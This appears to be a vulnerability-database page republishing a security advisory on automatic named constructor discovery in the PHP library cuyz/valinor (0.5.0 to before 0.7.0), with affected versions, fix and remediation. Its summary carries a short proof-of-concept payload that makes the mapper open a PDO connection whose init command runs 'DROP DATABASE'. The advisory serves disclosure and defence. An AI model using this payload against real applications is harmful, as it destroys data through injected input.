Read the docs
TI-2022-26509 Aliases GHSA-xhr8-mpwq-2rr2

Automatic named constructor discovery in Valinor

Priority LOW 38Published · Updated

Key facts

Attack vector
—
Privileges required
—
User interaction
—
Attack complexity
—
Impact type
—
Confidentiality · integrity · availability
—
Fix status
Fixed

No CVSS vector from any source. Fix status from GitHub.

Summary

## Design issue - automatic constructor discovery The issue arises when upgrading from `cuyz/valinor:0.3.0` to a newer system on an existing application, which broke due to the wrong constructor being picked. Still, a bigger security concern is problematic, and it is akin to https://github.com/rails/rails/issues/5228. ## Example exploit Take following DTO example: ```php final class UserDTO { public function __construct( public int $id, public string $name ) {} public static function fromDb( PDO $connection, int $id ): self { /* ... code to fetch the DTO here ... */ } } ``` There is nothing inherently unsafe about the above `UserDTO`, but when mixed with `cuyz/valinor:^0.5.0` ( specifically https://github.com/CuyZ/Valinor/commit/718d3c1bc2ea7d28b4b1f6c062addcd1dde8660b ), it is an explosive mix: ```php // this could be coming from user input: $maliciousPayload = [ 'connection' => [ 'dsn' => 'mysql:host=some-host;database=some-database', 'username' => 'root', 'password' => 'root', 'options' => [ // PDO::MYSQL_ATTR_INIT_COMMAND === 1002 1002 => 'DROP DATABASE all-the-moneys' ] ], 'id' => 123, ]; $treeMapper->map( UserDTO::class, $maliciousPayload ); // your DB is gone :D ``` The above payload is represented in PHP form, but may as well be input JSON, HTML or x-form-urlencoded. ## Mitigation Version 0.7.0 contains a patch for this issue. Automatic named constructor resolution should be disabled - only explicitly mapped named constructors should be used/discovered.

Why it matters now

Fix Fixed cuyz/valinor (Packagist): 0.7.0

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—cuyz/valinor (Packagist)0.5.0 to before 0.7.00.7.0Patch availableGHSA-xhr8-mpwq-2rr2
  • cuyz/valinor (Packagist) Vendor— Affected 0.5.0 to before 0.7.0 Fixed in 0.7.0 Patch available GHSA-xhr8-mpwq-2rr2

Remediation

  • Fix · GHSA-xhr8-mpwq-2rr2 cuyz/valinor (Packagist) Fixed in 0.7.0 Advisory →

Timeline

  1. 2026-10-03 Threatist record created from GHSA-xhr8-mpwq-2rr2

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences